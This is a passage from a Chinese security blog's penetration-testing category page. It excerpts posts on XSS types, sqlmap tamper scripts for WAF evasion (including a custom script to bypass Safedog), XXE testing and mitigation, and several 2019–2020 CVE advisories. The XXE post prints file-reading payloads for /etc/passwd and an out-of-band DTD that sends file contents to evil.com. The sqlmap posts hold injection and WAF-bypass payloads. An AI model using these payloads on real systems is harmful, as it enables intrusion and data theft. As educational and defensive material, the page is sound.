首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
Search
1
使用ReDroid打造自己的云手机
8,175 阅读
2
Cloudflare SAAS 接入自选教程
3,951 阅读
3
CloudFront CDN配置教程
3,115 阅读
4
Frpc使用XTCP不通过服务器传输
2,647 阅读
5
兽装曲腿制作文档
2,511 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
摄影
服务器
环境搭建
rustlang
Rust
VS CODE
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
Frp
道锋潜鳞
累计撰写
449
篇文章
累计收到
137
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
布丁の小窝
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
Suntの小破站
BG5VXJ-无线电
Abyss博客
炽煋的blog
麟图图床
麟云文件
麟云证书
搜索到
59
篇与
的结果
2020-03-31
存储型XSS与反射型XSS有什么区别?
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。如:人人网又一大波蠕虫,位置在首页+登录就中招+通杀网页和人人桌面反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。例如这个
2020年03月31日
123 阅读
0 评论
0 点赞
2020-03-30
sqlmap之tamper绕过安全狗
参考:sqlmap用户手册详解【实用版】根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化。脚本名:apostrophemask.py 作用:用utf8代替引号1Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'Tested against: all脚本名:equaltolike.py 作用:like 代替等号12345Example:* Input: SELECT * FROM users WHERE id=1* Output: SELECT * FROM users WHERE id LIKE 1案例一: http://wooyun.org/bugs/wooyun-2010-087296案例二: http://wooyun.org/bugs/wooyun-2010-074790案例三:http://wooyun.org/bugs/wooyun-2010-072489脚本名:space2dash.py 作用:绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)1Example: ('1 AND 9227=9227') '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'Tested against: * MSSQL * SQLite案例一:http://wooyun.org/bugs/wooyun-2010-062878脚本名:greatest.py 作用:绕过过滤’>’ ,用GREATEST替换大于号。1Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0脚本名:space2hash.py 作用:空格替换为#号 随机字符串 以及换行符1234Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement:MySQL Tested against:MySQL 4.0, 5.0脚本名:apostrophenullencode.py 作用:绕过过滤双引号,替换字符和双引号。1Example: tamper("1 AND '1'='1") '1 AND %00%271%00%27=%00%271'Tested against:MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:halfversionedmorekeywords.py 作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论123Example:("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")"value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"Requirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22脚本名:space2morehash.py 作用:空格替换为 #号 以及更多随机字符串 换行符12345Example:* Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227Requirement: * MySQL >= 5.1.13 Testedagainst: * MySQL 5.1.41案例一:91ri一篇文章脚本名:appendnullbyte.py 作用:在有效负荷结束位置加载零字节字符编码1Example: ('1 AND 1=1') '1 AND 1=1%00'Requirement:Microsoft Access脚本名:ifnull2ifisnull.py 作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’123Example:('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)'Requirement:MySQLSQLite (possibly)SAP MaxDB (possibly)Tested against:MySQL 5.0 and 5.5脚本名:space2mssqlblank.py(mssql) 作用:空格替换为其它空符号Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0FusersRequirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005ASCII table: 案例一: wooyun.org/bugs/wooyun-2010-062878脚本名:base64encode.py 作用:用base64编码替换 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all案例一: http://wooyun.org/bugs/wooyun-2010-060071案例二: http://wooyun.org/bugs/wooyun-2010-021062案例三: http://wooyun.org/bugs/wooyun-2010-043229脚本名:space2mssqlhash.py 作用:替换空格1Example: ('1 AND 9227=9227') '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL脚本名:modsecurityversioned.py 作用:过滤空格,包含完整的查询版本注释1Example: ('1 AND 2>1--') '1 /*!30874AND 2>1*/--'Requirement: * MySQLTested against:MySQL 5.0脚本名:space2mysqlblank.py 作用:空格替换其它空白符号(mysql)12345Example:* Input: SELECT id FROM users* Output: SELECT%0Bid%0BFROM%A0usersRequirement:MySQLTested against:MySQL 5.1案例一:wooyun.org/bugs/wooyun-2010-076735脚本名:between.py 作用:用between替换大于号(>)1Example: ('1 AND A > B--') '1 AND A NOT BETWEEN 0 AND B--'Tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-068815脚本名:space2mysqldash.py 作用:替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)注:之前有个mssql的 这个是mysql的1Example: ('1 AND 9227=9227') '1--%0AAND--%0A9227=9227'Requirement:MySQLMSSQL脚本名:multiplespaces.py 作用:围绕SQL关键字添加多个空格1Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'Tested against: all案例一: wooyun.org/bugs/wooyun-2010-072489脚本名:space2plus.py 作用:用+替换空格1Example: ('SELECT id FROM users') 'SELECT+id+FROM+users' Tested against: all脚本名:bluecoat.py 作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like1Example: ('SELECT id FROM users where id = 1') 'SELECT%09id FROM users where id LIKE 1'Tested against:MySQL 5.1, SGOS脚本名:nonrecursivereplacement.py 双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters1Example: ('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all脚本名:space2randomblank.py 作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集1Example: ('SELECT id FROM users') 'SELECT%0Did%0DFROM%0Ausers'Tested against: all脚本名:sp_password.py 作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾1Example: ('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL脚本名:chardoubleencode.py 作用: 双url编码(不处理以编码的)12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545脚本名:unionalltounion.py 作用:替换UNION ALL SELECT UNION SELECTExample: ('-1 UNION ALL SELECT') '-1 UNION SELECT'Requirement: all脚本名:charencode.py 作用:url编码12345Example:* Input: SELECT FIELD FROM%20TABLE* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45tested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:randomcase.py 作用:随机大小写 Example:Input: INSERTOutput: InsERtTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0脚本名:unmagicquotes.py 作用:宽字符绕过 GPC addslashes12345Example:* Input: 1′ AND 1=1* Output: 1%bf%27 AND 1=1–%20脚本名:randomcomments.py 作用:用/**/分割sql关键字123Example:‘INSERT’ becomes ‘IN//S//ERT’脚本名:charunicodeencode.py 作用:字符串 unicode 编码12345Example:* Input: SELECT FIELD%20FROM TABLE* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′Requirement:ASPASP.NETTested against:Microsoft SQL Server 2000Microsoft SQL Server 2005MySQL 5.1.56PostgreSQL 9.0.3案例一: wooyun.org/bugs/wooyun-2010-074261脚本名:securesphere.py 作用:追加特制的字符串1Example: ('1 AND 1=1') "1 AND 1=1 and '0having'='0having'"Tested against: all脚本名:versionedmorekeywords.py 作用:注释绕过12345Example:* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#* Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#Requirement:MySQL >= 5.1.13脚本名:space2comment.py 作用:Replaces space character (‘ ‘) with comments ‘/**/’12345Example:* Input: SELECT id FROM users* Output: SELECT//id//FROM/**/usersTested against:Microsoft SQL Server 2005MySQL 4, 5.0 and 5.5Oracle 10gPostgreSQL 8.3, 8.4, 9.0案例一:wooyun.org/bugs/wooyun-2010-046496脚本名:halfversionedmorekeywords.py 作用:关键字前加注释12345Example:* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND‘QDWa’='QDWa* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWaRequirement:MySQL < 5.1Tested against:MySQL 4.0.18, 5.0.22转自:http://blog.csdn.net/qq_29277155/article/details/52266478x00 前言 sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。本文重点研究sqlmap的软件具体的目录结构,后续的文章也会从源码编写中,阐述sqlmap的种种编码结果。本文从结构中,可以看到sqlmap中的软件工程之美,同时从严谨的软件结构目录分类和构造中,看到sqlmap中的软件开发过程中的庞大但简洁的结构之美。0x01 tamper脚本 当我们下载了【sqlmap】的安装包,解压后到文件夹【sqlmap】,在以下路径,我们可以找到文件夹【tamper】,其中该文件夹有44个脚本分别对44种WAF进行检测。例如360,绿盟WAF,modsecurity.,百度,fortiweb,cloudflare。由此可见老外对国内的WAF也是有了解的,可见他们也会悄悄对国内的WAF进行绕过。0x02 分析tamper脚本由于【tamper】文件夹中有众多的tamper脚本,限于篇幅,无法一一分析,故选取其中一个脚本【lowercase.py】作为样本分析#!/usr/bin/env python #此处用法为:程序到env设置里查找python的安装路径,再调用对应路径下的解释器程序完成操作。这是非常好的做法""" #python2.7的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)See the file 'doc/COPYING' for copying permission""" #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号import re #导入python中的re 字符替换包,方便下面的字符替换from lib.core.data import kb #导入sqlmap中lib\core\data中的kb函数,测试 SQL 注入的过程中,使用的配置文件事先全部被加载到了 conf 和 kbfrom lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py__priority__ = PRIORITY.NORMAL #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。 pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性。def tamper(payload, **kwargs): #定义tamper脚本,payload, **kwargs 为定义的参数,其中**kwargs为字典存储,类似于 {'a': 1, 'c': 3, 'b': 2} """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 Replaces each keyword character with lower case value #此处为tamper说明 ,以便使用该脚本。在本例中,该脚本可以 Tested against: #用于多种数据库。并且作用于弱防护效果的防火墙 * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> tamper('INSERT') 'insert' """ #python的多行注释符,此处为三个双引号,因为是其中也有单引号,并且该说明为一般文档说明,故用三个双引号 retVal = payload # 将payload赋值给 retVal ,以便中间转换。 if payload: # 进行判断payload for match in re.finditer(r"[A-Za-z_]+", retVal): # 对 retVal 【payload】进行小写查找 word = match.group() #将查找到的字母赋值给word if word.upper() in kb.keywords: #如果在攻击载荷中有大写字母 retVal = retVal.replace(word, word.lower()) #将大写字母转换成小写字母。 return retVal #返回小写字母到这里,我们可以看出,该脚本实现了将攻击载荷中大写字母转成了小写字母0x03 编写一个tamper脚本 在这里,我们尝试写一个绕过安全狗的tamper脚本,毕竟安全狗在服务器安全领域还是挺不错的,竟然还是免费的,在linux和windows上有各种版本,并且一直维护更新中。#!/usr/bin/env python #此处代码可以直接从其他tamper复制粘贴过来"""Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) #常规文档说明 See the file 'doc/COPYING' for copying permissionv0.0.1 #添加这个脚本的版本说明2016.08.21 #添加我们写这个脚本的日期"""from lib.core.enums import PRIORITY #导入sqlmap中lib\core\enums中的PRIORITY函数, LOWEST = -100,LOWER = -50,. 详细见enums.py__priority__ = PRIORITY.LOW #定义优先级,此处为级别为【一般】def dependencies(): #定义dependencies():此处是为了和整体脚本的结构保持一致。 pass #pass 不做任何事情,一般用做占位语句。为了保持程序结构的完整性def tamper(payload, **kwargs): #定义tamper脚本,**kwargs 为字典存储,类似于 {'a': 1, 'c': 3} """ To bypass safedog Replaces space character (' ') with plus ('/*|%20--%20|*/') #把空格替换为(/*|%20--%20|*/)绕过,此处为绕过规则 >>> tamper('SELECT id FROM users') #此处为替换后的具体执行形式 'SELECT/*|%20--%20|*/id/*|%20--%20|*/FROM/*|%20--%20|*/users' """ retVal = payload # 将payload赋值给 retVal ,以便中间转换。 if payload: retVal = "" quote, doublequote, firstspace = False, False, False #定义这些符号参数,防止对后面的替换造成影响 for i in xrange(len(payload)): # 在攻击载荷中逐个进行判断操作。 if not firstspace: #如果攻击载荷的第一个字段是空格,则进行替换 if payload[i].isspace(): firstspace = True retVal += "/*|%20--%20|*/" #把空格( ) 替换成(/*|%20--%20|*/) continue #继续进行判断操作 elif payload[i] == '\'': #如果攻击载荷中有(\ ),则进行编码转换 quote = not quote elif payload[i] == '"': #如果攻击载荷中有(“ ),则进行编码转换 doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: #如果攻击载荷中有空格(),并且它既不是doublequote 或 quote retVal += "/*|%20--%20|*/" #则进行编码转换 continue 继续执行 retVal += payload[i] #得到重新组合的payload return retVal# 该脚本可以在github中找到:https://github.com/ym2011/penetration/tree/master/scripts0x04 参考资料http://sqlmap.org/https://github.com/sqlmapproject/sqlmap/https://github.com/sqlmapproject/sqlmap/wikihttps://github.com/sqlmapproject/sqlmap/wiki/FAQhttps://github.com/sqlmapproject/sqlmap/wiki/Third-party-libraries转自:http://www.freebuf.com/articles/1000.htmlWAF(web应用防火墙)逐渐成为安全解决方案的标配之一。正因为有了它,许多公司甚至已经不在意web应用的漏洞。遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs。svn下载最新版本的sqlmapsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev我们关注的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测。许多时候,你需要联合使用多个tamper脚本。所有tamper脚本请参考:https://svn.sqlmap.org/sqlmap/trunk/sqlmap/tamper/在这里,我们以针对Mysql的space2hash.py和space2morehash.py为例。这两个脚本将会自动转换所有空格为随机注释,而此脚本的拓展版本(space2morehash.py)也会帮助到你来“打乱”方法函数以绕过WAF的检测。Example: * Input: 1 AND 9227=9227* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227好了,接下来我们讲重点了。你可以使用命令–tamper 来调用脚本,如下:./sqlmap.py -u http://127.0.0.1/test.php?id=1 -v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”
2020年03月30日
191 阅读
0 评论
0 点赞
2020-03-30
绕过WTS-WAF拦截注入
暂时没有实例站,先做语言补充尝试进行注入and 1 = 1 测试 被拦截尝试用注释污染参数进行绕过,结果还是不行/!fasdsj-gaf/and/!asjgk+fg/1=1也是被拦截使用id=1+and+1=1测试成功,没被拦截使用order by测试,没被拦截
2020年03月30日
65 阅读
0 评论
0 点赞
2020-03-26
简单的XXE漏洞挖掘方法与防护
1.简单挖掘方法提交POST请求XML文件提交一个POST请求,请求头加上Content-type:application/xml同时添加测试代码<?xml version="1.0"encoding="utf-8"?> <test>cat</test>通过OOB(Out-of-band)方法远程访问文件测试1. 自建一个网站开启80端口2. 在测试网站提交payload,如下<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE dtgmlf6 [<!ENTITY dtgmlf6ent SYSTEM "http://0.0.0.0/"> ]> <GeneralSearch>&dtgmlf6ent;</GeneralSearch>3.查看网站返回内容4.查看自建服务器访问日志,是否有DTD文件等请求2.确认XXE漏洞出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。 访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。注意观察应用程序怎样使用XML传输数据,过程如下图所示:请求:响应:观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求修改后的请求和响应:如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://evil.com/?content=%file;'>"> %payload; <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ENTITY % file SYSTEM "php://fileter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://192.168.1.100:8000/evil.dtd"> %dtd; %send;]> <root></root>3.寻找XXE1.检测xml是否被解析 <?xml version="1.0" encoding="ISO-8859-1"?> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>21</id> </Prod> </Prod>2.检测是否支持外部实体解析<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://YOURIP/TEST.ext" >]> <Prod> <Prod> <Type>abc</type> <name>Bugcrowd</name> <id>&xxe</id> </Prod> </Prod>4.xxe 注入利用步骤在用户可控的XML数据里面将恶意内容写入到实体中,即可导致任意文件读取,系统命令执行等危害。(1)测试是否允许外部实体引用<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var "tzuxung"> ]> <root> <data>&var;</data> </root>(2)任意文件读取<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "file:///etc/passwd"> ]> <root> <data>&var;</data> </root>(3)通过PHP://过滤器读取<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root[ <!ELEMENT root (data)> <!ELEMENT data (#PCDATA)> <!ENTITY var SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/xxe.php"> ]> <root> <data>&var;</data> </root>(4)xxe注入测试代码xxe.php是一个存在XXE注入漏洞的简单页面<html> <body> <h1>XXE Example</h1> <form method="post" enctype="multipart/form-data"> <label for="file">XML File:</label> <input type="file" name="file" id="file"> <input type="submit" name="submit" value="Upload"> </form> <h1>Result</h1> <?php if( isset($_FILES["file"])){ $doc = new DOMDocument(); $doc->validateOnParse = true; $doc->Load($_FILES["file"]["tmp_name"]); $tags = $doc->getElementsByTagName("data"); foreach($tags as $tag) { echo "<pre>" . $tag->nodeValue . "</pre>\n"; } } else { echo "<h3>No file was selected for upload.</h3>"; } ?> </body> </html>xxe自动化注入检查工具https://github.com/enjoiz/XXEinjectorXXE防御1.使用开发语言提供的禁用外部实体的方法PHP: libxml_disable_entity_loader(true);JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))2.过滤用户提交的XML数据 对变量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC进行过滤.例如,让我们来试着定义一个新的自定义实体“harmless”。<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>现在,包含这个实体定义的XML文档可以在任何允许的地方引用&harmless;实体。<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results>XML解析器,例如PHP DOM,在解析这段XML时,会在加载完文档后立即处理这个自定义实体。因此,请求相关文本时,会得到如下的返回:This result is completely harmless下面的这个就肯定不是无害的输入:<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>3.检查所使用的底层xml解析库,默认禁止外部实体的解析4.使用第三方应用代码及时升级补丁5.同时增强对系统的监控,防止此问题被人利用对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数<?php libxml_disable_entity_loader(true); ?>以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码:<?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>>
2020年03月26日
248 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】php-fpm在特定nginx配置下远程代码执行漏洞(CVE-2019-11043)
漏洞描述nginx 配置项 fastcgi_split_path_info 在处理带有 %0a 的请求时遇到换行符 \n 会导致 PATH_INFO 为空,进而导致特定的攻击请求会修改php-fpm进程中的相关配置,在特殊配置情况下可导致远程代码执行漏洞,相关漏洞配置类似如下:``` location ~ [^/]\.php(/|$) { fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... } }漏洞评级CVE-2019-11043 中危安全建议删除或修改如下配置,防止.php之后可传入任意字符(可能会影响正常业务):``` fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; ``` 相关链接https://bugs.php.net/bug.php?id=78599https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
2020年03月25日
180 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Harbor 多个高危漏洞(CVE-2019-19029、CVE-2019-19026等)
漏洞描述Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.8.6和1.9.3之前版本的部分接口存在权限提升、SQL注入、用户枚举等多个高危漏洞。攻击者通过构造特定请求,可利用SQL注入获取大量敏感数据,或者将低权限账户提升为管理员权限账户,从而接管Harbor镜像仓库。漏洞评级CVE-2019-19023(高危)普通用户可以通过进行API调用来修改特定用户的电子邮件地址,从而获得管理员帐户特权。CVE-2019-19029(高危)Project-Admin功能权限用户可以利用Harbor API接口user-groups SQL注入漏洞从底层数据库读取机密信息或权限提升。CVE-2019-19026(中危)经过身份验证的管理员可以通过GET参数sort发送特制的SQL有效负载,从而允许从数据库中提取敏感信息。CVE-2019-3990(中危)/api/users/search 接口用户枚举漏洞。CVE-2019-19025(低危)Harbor Web界面缺少CSRF保护漏洞。影响版本Harbor 1.7.xHarbor 1.8.x < 1.8.6Harbor 1.9.x < 1.9.3安全版本Harbor 1.8.x >= 1.8.6Harbor 1.9.x >= 1.9.3安全建议升级Harbor版本到安全版本参考下载链接:https://github.com/goharbor/harbor/releases相关链接https://github.com/goharbor/harbor/security/advisories
2020年03月25日
260 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】jackson-databind 反序列化远程代码执行漏洞(CVE-2020-8840)
漏洞描述jackson-databind是一套开源java高性能JSON处理器,受影响版本的jackson-databind中由于缺少某些xbean-reflect/JNDI黑名单类,如org.apache.xbean.propertyeditor.JndiConverter,可导致攻击者使用JNDI注入的方式实现远程代码执行,漏洞需要配合xbean-reflect-*.jar组件才能成功利用,影响面适中。风险评级CVE-2020-8840 中危影响版本jackson-databind 2.9系列 < 2.9.10.3jackson-databind 2.8系列 < 2.8.11.5jackson-databind 低于2.8系列安全版本jackson-databind 2.10系列 全版本jackson-databind 2.9系列 >= 2.9.10.3jackson-databind 2.8系列 >= 2.8.11.5安全建议以下任意一种方法均可实现漏洞修复1、针对使用到jackson-databind组件的web服务升级jackson-databind组件至安全版本:https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-databind/2.9.10.3/https://github.com/FasterXML/jackson-databind/releases2、针对无法升级jackson-databind的,排查并将xbean-reflect-*.jar组件从应用依赖中移除可阻止漏洞攻击(可能会导致应用不可用风险)相关链接https://github.com/FasterXML/jackson-databind/issues/2620https://nvd.nist.gov/vuln/detail/CVE-2020-8840https://github.com/FasterXML/jackson-databind/releases
2020年03月25日
381 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】Nginx/OpenResty 特殊配置下内存泄漏与目录穿越漏洞
漏洞描述Nginx是一个高性能的HTTP和反向代理web服务器,OpenResty是一个基于 Nginx 与 Lua 的高性能Web平台。近日国外安全研究者公开了Nginx/OpenResty在特殊配置下存在内存泄漏或目录穿越漏洞详情。由于Nginx在rewrite功能实现上存在缺陷,以及OpenResty在ngx.req.set_uri()实现上存在缺陷,如果Nginx配置文件中使用了rewrite或者ngx.req.set_uri(),则攻击者可能可以通过构造恶意请求,从而造成内存泄漏或者目录穿越漏洞。影响版本nginx <= v1.17.7openresty <= v1.15.8.2安全建议1. Nginx更新至安全版本>=v1.17.92. 以下是存在漏洞的配置片段,建议用户自检查配置文件,并禁用相关危险配置。location ~ /memleak { rewrite_by_lua_block { ngx.req.read_body(); local args, err = ngx.req.get_post_args(); ngx.req.set_uri( args["url"], true ); } } location ~ /rewrite { rewrite ^.*$ $arg_x; } 相关链接https://www.openwall.com/lists/oss-security/2020/03/18/1https://hackerone.com/reports/513236
2020年03月25日
390 阅读
0 评论
0 点赞
2020-03-25
【漏洞预警】通达OA 高危漏洞预警
